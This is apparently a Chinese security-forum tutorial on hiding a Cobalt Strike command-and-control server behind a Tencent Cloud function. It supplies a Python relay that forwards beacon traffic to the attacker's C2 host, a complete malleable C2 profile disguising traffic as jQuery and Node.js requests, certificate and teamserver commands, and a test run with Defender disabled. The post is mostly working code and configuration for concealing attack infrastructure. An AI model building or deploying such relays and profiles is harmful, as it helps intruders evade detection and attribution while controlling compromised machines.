* 启动云函数

  • 在腾讯云控制台搜索云函数,在函数服务->函数管理进行新建->自定义

// 坑点一:要根据cs监听类型http/https在脚本内填入c2服务器地址

# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)

    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response
  • 部署完代码后新建触发器,更改下述两个选项即可

  • 进入触发器api配置,更改路径为/,配置完直接发布api

// 这个时候可以访问下api地址,然后在函数服务的日志查询看一下有没有日志,如果有日志的话云函数配置就ok了

* 配置CS profile

  • 使用keytool生成证书文件,记住证书密码,后面要在profile配置
keytool -keystore cobaltStrike.store -storepass password -keypass password -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
  • profile 模板,这儿有个坑,我用的是cs4.3 需要整一下花括号位置,花括号要另起一行,不然会报错找不到括号
set sample_name "kris_abao";

set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";

https-certificate 
{

    set keystore "cobaltStrike.store"; //证书名
    set password "Mm0000..";    //密码

    ## Option 3) Cobalt Strike Self-Signed Certificate
    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

http-get 
{

    set uri "/api/getit";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager 
{  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server 
    {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}
  • 创建完成后,把证书和profile文件rz扔到cs文件夹,使用./teamserver vpsip password c2.profile 加载profile启动cs,下面这样就是启动成功

  • 本地客户端连接,创建监听,第三个坑,这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听

  • 打开cs web日志,访问云函数api的443端口,发现cs的日志出现流量

出现腾讯云流量,至此云函数已经配置成功

* 测试

  • 这儿没做cs马的免杀,关了defender(被干的太惨了),选择https的监听方式,直接上线,sleep调到0发现监听ip会一直变动,配置生效


* 总结

  • 云函数隐藏C2原理

马 -> 腾讯云函数api -> py函数 -> CS服务端

CS马被执行后,流量直接走向腾讯云的api(也就是这一步达成了隐藏C2服务端的目的,腾讯地址,有腾讯的CDN),然后py函数会根据传入的流量作为中间人对CS服务端进行请求,并获取返回结果后返回请求获取的数据信息(py代码的请求内容和CS服务端加载的profile是相对应的,CS服务端根据py函数传入的数据来获取相关信息)

点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖